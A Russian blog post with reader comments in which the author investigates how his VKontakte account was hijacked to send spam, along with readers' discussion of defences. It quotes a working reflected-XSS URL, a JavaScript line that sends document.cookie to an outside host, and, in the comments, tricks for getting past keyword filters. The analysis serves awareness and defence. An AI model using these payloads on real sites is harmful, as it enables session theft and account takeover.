Буквально несколько минут назад я умудрился разослать 200+ сообщений своим друзьям ВКонтакте.
Естественно это было спам сообщение следующего содержания:
привет я удаляюсь из контакта, оч много спама приходит((сейчас удалю свою страничку, если что-то будет нужно, то звони мне на моб.телефон или ищи меня здесь vkontakte.ru/away.php?to=... у меня там есть своя страничка под мои именем.это не спам, рассылаю всем своим друзьям...).
Собственно удивление было связано с тем, что:
1. Я использую Linux и только Linux везде где только можно.
2. ВКонтакт используется только из дома опять же сугубо из-под Linux
3. На ВКонтакт и на почту, привязанную к нему стоят достаточно криптостойкие пароли из 10+ символов латинского алфавита и цифр
Да, я параноик
Внимание! Все последующие переходы по ссылкам вне этой статьи для Вашей безопасности советую проводить только если Вы разлогинены из ВКонтакта.
Первым делом я решил посмотреть куда же ведет эта ссылка, что я рассылал.
Ссылка вела на сайт
vk-foto.ru, который сразу же редиректил на
odnonochniki.ru/?rid=484
С анализа «одноночников» я решил и начать.
Тем не менее ничего вредоносного замечено не было.
«Гм», сказал
и суровые сибирские мужики я, закрыл Оперу, и открыл фаерфокс.
Первым делом в Web Developer Toolbar я отключил переход по META-редиректам и включил Firebug для сайта vk-foto.ru. Убедившись что в Firefox'е я разлогинен ВКонтакте, я пошел на сайт.
Анализ HTML кода быстро обнаружил желаемое:
<iframe src='http://vk-foto.ru/2/1.php' style='display:none;' ></iframe>
Уже предвкушая разгадку, я набрал упомянутый адрес и получил… 404 ошибку апача.
Ну что ж, значит надо поковыряться глубже.
Для vk-foto включил панель Net Firebug'а, перезагрузил страничку и стал смотреть что грузится:

Увидев это я обругал себя последними словами. Ведь было за что:
1. Не все что выглядит как 404 Апача является ею. Код возврата НТТР надо смотреть всегда
2. Увидев «404» я даже не удосужился глянуть в ее код
Итак, очередной iframe:
<iframe src = vkontakte.ru/gsearch.php?from=ads§ion=ads&c[type]=1&c[%22%3E%3Cscript%20%20src%20%3d%20http://webzer.vov.ru/vk.js%20%20%3E%3C/script%3E]=2 width='0' height='0' style='display:none' ></iframe>
Гм. А вот это уже похоже на XSS Вконтакте. На страничку поиска подсасывается внешний Javascript.
Его содержимое просто как апельсин:
location.href='http://webzer.vov.ru/css/log.php?' + document.cookie
Таким образом куки ВКонтакта уходят на сторонний хост.
Что из всего этого следует:
- то что вы пользуетесь Linux еще не защищает Вас от всего
- от любопытства кошка сдохла — получив от друга такое сообщение я пошел по ссылке, за что и поплатился
- (следует из предыдущего) никогда не ходите по ссылкам, полученным неизвестно откуда
- Не все то 404, что так выглядит :)
- Как ни печально, но и на старуху (ВКонтакте) бывает проруха.
DISCLAIMER: Я прекрасно понимаю, что профессионалам в области информационной безопасности я не рассказал ничего нового. Этот пост направлен скорее на рядовых IT-шников, и призван уберечь их от наступания на мои грабли
_________
Текст подготовлен в
ХабраРедакторе
комментарии (185)
Первый результат в гугуле:
www.google.ru/search?hl=ru&q=%D0%B2+%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5+xss+site%3Ahabrahabr.ru&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=0&oq=
perl -e 'while (<>) { s/%([a-f0-9]{2})/chr(hex($1))/gei;print; }'
Первый результат в гугуле:
www.google.ru/search?hl=ru&q=%D0%B2+%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5+xss+site%3Ahabrahabr.ru&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=0&oq=
Ну, оставлю — т.к. здесь небольшая «вариация» на тему этой атаки. Хотя и признаю, незначительная
Эх, почему-то склейка тегов не сработала (ЕМНИП на хабре есть такой механизм)
При том эти старые XSS закрывали.
Но вот чего я не пойму, так это насколько нужно быть жопоруким быдлопрограммистом, чтоб «закрыть» одну XSS уязвимость, и не закрыть идентичную на ТОЙ ЖЕ странице.
Было это в октябре 2007 года. Тогда на вконтакте практиковался увод паролей с помощью все того же «javascript:document.cookie».Смысл был в том, злоумышленники предлагали скопипастить некий код в строку браузера, который сливал куки.
Так вот Дуров начал решать проблему в своем стиле. Сначала (если не ошибаюсь, 10 октября 2007 года) он запретил писать слово «javascript» (оно заменялось, да и сейчас заменяется, на «javas?1?ript»). И видимо был очень счастлив, подумав, что решил проблему.
Но не тут то было. Хотел бы я посмотреть на разработчиков контакта, когда они увидели на следующий день, что вместо «javascript» хацкеры просто писали «Javascript» или «JaVascript» :)))) Браузер благо к регистру не привередлив…
С яваскрипт проблему конечно тут же доправили, но тем, кому хотелось побольше вкусных «печенек», все же умудрялись заставлять писать пользователей в строку браузера слово «javascript».
И тогда Паша принял очередной гениальный ход: запретил писать слово «cookie», чтобы уж никто ими точно не полакомился.
Как вы догадались, хацкеры в долгу не остались и просто заменили document.cookie на eval'(document.coo'+'kie'). :)))
Вот такая вот история…
вообще, против глупости некоторых пользователей вконтакте не существует никакой защиты
это не лично к кому-то, просто наблюдения в течении года
я уверен, что в ближайший месяц появится еще зараза
Это давно надо было сделать.
только не все пожелания учитывает
может это ему даже на руку — такая база «простых смертных» собрана, что с ней можно дикие вещи творить
Извините, не сдержался.
опечатался, и почему-то не могу удалять/редактировать комменты
БогНЛО Хабрахабра не позволяет этого.А редактировать и удалять комментарии на Хабре нельзя, да.
может, так даже лучше вышло =))
но скорость решения вопроса…
а база у него уххх!)))
пс: действительно: опечатка привнесла нечто интересное :D
можно сделать даже не проверку всего IP, а хотя бы на диапазон, принадлежащий IP владельца аккаунта
у каждого провайдера ведь свой диапазон IP-адресов
я когда-то такое реализовывал даже, но обидно, что проект до конца не дошел, заказчик оказался нехорошим человеком (так бывает)
Ещё вариант — авторизовывать вообще на другом домене, связав сервера друг с другом (а-ля oAuth). Там хочешь куки при, хочешь не при — утащишь только «короткую» авторизацию основного домена (который автоматом перебросит на авторизовалку раз, скажем, в 5 минут).
Это из разряда траблов с «юзер ввёл ссылку javascript:...». Обычный же XSS через сам сайт довольно легко побороть — просто не заниматься хернёй и не брать html тем более через get запрос!
Но, каюсь, до сего момента был искренне уверен что 99.9% всех «взломов» Вконтакта происходит либо из-за загрузки пользователем очередной «супер-мега-крутой облегчалки/голосовалки/ломалки ВКонтакте» или путем использования дыр Internet Explorer.
Теперь я знаю, что это не так
Однако «от этого» спаммеры «типа защитились» — ссылка ведет на away.php вконтакта, т.е. если «тупо» скопировать ее — то откроется окно авторизации вконтакте.
P.S. Извините за любовь к «кавычкам»
в вебкит наверно тоже есть, да и в хроме тоже
https://addons.mozilla.org/en-US/firefox/addon/722
и что это за сайты такие? vk-foto? onnonochniki?
я прежде чем идти туда — всегда выхожу из контакта и потом иду на корень сайта
как правило, 99.9% — фейк
Настройки -> Плагины -> Запретить отображение Элементов
block external script одно из них.
Правда, иногда iframe'ы нужны.
Правая кнопка мыши, «Edit Site Preferences...»
блин, а ведь сам видел такую точно атаку только на компе с ХР…
антивирус, что ли поставить на всякий пожарный )))
Единственное что может (и то не факт) спасти в таких случаях — адекватная HIPS. Но таковых для массового рынка я пока не встречал.
а ведь большинство пользователей не разлогиневаются и не только в контакте…
На самомо деле, не знаю. Я давно пролистывал их пользовательское соглашение, может, они там уже что-нибудь поменяли =)
— В Контакте | Переход по внешней ссылке
Вы покидаете сайт ВКонтакте.ру по внешней ссылке google.com, предоставленной одним из участников. Администрация ВКонтакте.ру не несет ответственности за содержимое сайта google.com и настоятельно рекомендует не указывать никаких своих данных, имеющих отношение к ВКонтакте.ру (особенно e-mail, пароль и cookies), на сторонних сайтах.
Кроме того, сайт google.com может содержать вирусы, трояны и другие вредоносные программы, опасные для Вашего компьютера. Если у Вас нет серьезных оснований доверять этому сайту, лучше всего на него не переходить, даже если Вы якобы получили эту ссылку от одного из Ваших друзей.
Если Вы еще не передумали, нажмите на google.com.
Если Вы не хотите рисковать безопасностью Вашего аккаунта и компьютера, нажмите отмена.
Администрация ВКонтакте.ру не несет ответственности за содержимое сайта vkontakte.ru и настоятельно рекомендует не указывать никаких своих данных, имеющих отношение к ВКонтакте.ру (особенно e-mail, пароль и cookies), на сторонних сайтах.
Кроме того, сайт vkontakte.ru может содержать вирусы, трояны и другие вредоносные программы, опасные для Вашего компьютера. Если у Вас нет серьезных оснований доверять этому сайту, лучше всего на него не переходить, даже если Вы якобы получили эту ссылку от одного из Ваших друзей.
Вот это прикол.
Они хотябы сделали, список сайтов которым можно доверять и не показывать вот эту пургу.
Но думаю что если такие баги не закрывают то этот список они 3 года делать будут
Ссылки на некоторые сервисы Google, содержащие целевое послание, спамеры уже экслуатировали…
Еслибы увидел google.com я перешелбы.
Ну а вообще если присылают ссылку, открываю IE и уже туда вбиваю этот урл.
Поскольку IE у меня только для тестов.
Это пассивная XSS. Когда пользователь переходит по ссылке, на страницу подключается вредоносный скрипт, который считается своим (т.к загружается вместе со всема скриптами сайта).
И он уже передает куки на сниффер
А если запрещать передавать информацию другим доменам так, как сделано в этом скрипте, то к примеру «сломаются» все редиректы с помощью javascript во всем интернете
Спасибо за объяснение и вам, и комментаторам выше и ниже. :-)
Ну и пофиг, нормальные люди редирект делают только через заголовок Location:, в чем проблема?
Единственный аргумент против запрета cross-site scripting — невозможность делать вставить в блог виджет с другого сайта на яваскрипте. Не вижу в этом особой трагедии, пусть через ифрейм вставляют.
Давно пора это запретить, а также разделить по умолчанию куки на локальные и серверные, с ограничением доступа к ним (как флаг httpOnly).
Вообще, любое cross-site взаимодействие несет в себе угрозу безопасности. Даже обычная вставленная в письмо или ЛС пользователем картинка «сливает» хосту, на котором она размещена, реферер (который к примеру может содержать логин, или секретный код). И IP посетителя. А если в качестве картинки вставить ссылку на страницу вконтакте, подверженную CSRF, можно узнать имя/фамилию посетителя :)
Также ифреймы используются для вставки виджетов в блог с стороннего сайта, удобство в том, что владелец блога, даже если он туп как пень, легко впишет тег bahtqv в код страницы, и все будет работать без дополнительных извратов.
Сам по себе тег ифрейм не опасен. В верстке, согласен, он не нужен.
и если подумать то и в сторонних вставка его можно не использовать
бывают случаи когда без ифрейма не обойтись… если есть ограничение: неиспользовать флеш
например я в нашем ресурсе написал фоновую загрузку файлов на другой домен… и тут как ни крути без ифрейма не обойтись при всём желании… и даже пришлось использовать для этих целей как раз хитрый xss для организации такой загрузки файлов…
да и просто фоновая загрузка файлов никак иначе не делается если не использовать флеш…
хотя последнее время я всё чаще начинаю засматриваться на флеш как бы мне этого не хотелось :(
Слава богу, в Опере ифреймы отключаются. Кстати, защитить сайт от воровства кук не так сложно — достаточно выставить свойство http-only, но видимо авторы вконтакте просто не в курсе (хотя это решение не панацея, так как во первых часть браузеров сливает секретную куку через чтение заголовков ответа XmlHttprequest, и часть не поддерживает этот флаг, а во вторых, оно не защищает от возможной CSRF). Как и видимо, не в курсе про способы защиты от XSS.
Ну линукс тут совсем не причём. Куки и в Африке будут куками.
Итого имеем: возможность на непродолжительное время управлять аккаунтом жертвы до старта новой сессии или нажатия волшебной кнопки «Выйти».
Полезного на мой взгляд из этого: аккаунты с голосами в приложениях, конфиденциальная информация и пополнение СПАМ базы e-mail.
Или уже кто-то знает алгоритм хеширования пароля О_о?
Разве MD5. Или вы не об этом?
например md5( md5( pass ). md5 ( time() ) )
Вот только вместо последней «e» перед точкой в урле была «е» с хвостиком из раскладки для европейских языков. Ооочень малозаметно.
Просто случайно зашел на страничку с приложением и тут же оказался добавленым в группе этого приложения.
поставил Firefox + Noscript и поставил галочку «чистить куки при выходе»
так как девушки часто не спецы по ИТ, то не трогают в настройках того чего не понимают
поэтому Noscript не дает работать скриптам на не понятных/не разрешенных сайтах
безопасность повышается!
Он можно сказать новый национальный вид спорта создал.
«Хакни Вконтакте»
И по мере сил не дает ему загнуться :-)
лазила по инетам не разлогнилаь в контакте — удаились се друзья и убился профиль — профиль восстановили — а друзей ручкми
есть простое и красивое решение зовётся prism
делаем отдельную призму для контакта и не беспокоимся *)
Товарищи будьте осмотрительнее, и будет вам счастье!
1. Я использую Linux и только Linux везде где только можно.
2. ВКонтакт используется только из дома опять же сугубо из-под Linux
…
Ппц блин. Типа линукс панацея. Сами ведь линуксоиды знают, что это не так, но никогда не упустят возможность выпендриться «у меня же линукс!»
Может быть тут есть люди готовые собрать команду для таких расследований? Подумайте, такие команды профессионалов могут быть востребованы крупными проектами или соц.сетями.
К примеру одна из последних проблем вконтакте — «цифровые наркотики». Почти всех друзей взломали, под их логинами создаются группы соответствующей тематики и рассылаются приглашения вступить, создаются фотоальбомы, выкладываются фотографии (надпись внизу фото audiodrug.ru, ссылка внизу фото на drugs5.webng.com), на фотографиях отмечаются не только друзья, но и вообще все подряд не понятно по какому принципу.
Группы рекламируются в объявлениях, то есть кто-то это активно спонсирует. Ребята умудряются эти бинауральные записи продавать. Пишут, что это безопасно. Но ведь это не так.
Бинауральные записи уже обсуждались здесь: habrahabr.ru/blogs/i_am_insane/47912/ и habrahabr.ru/blogs/i_am_insane/47946/
В общем, проблема-то не столько в спаме, сколько в возможной опасности для людей.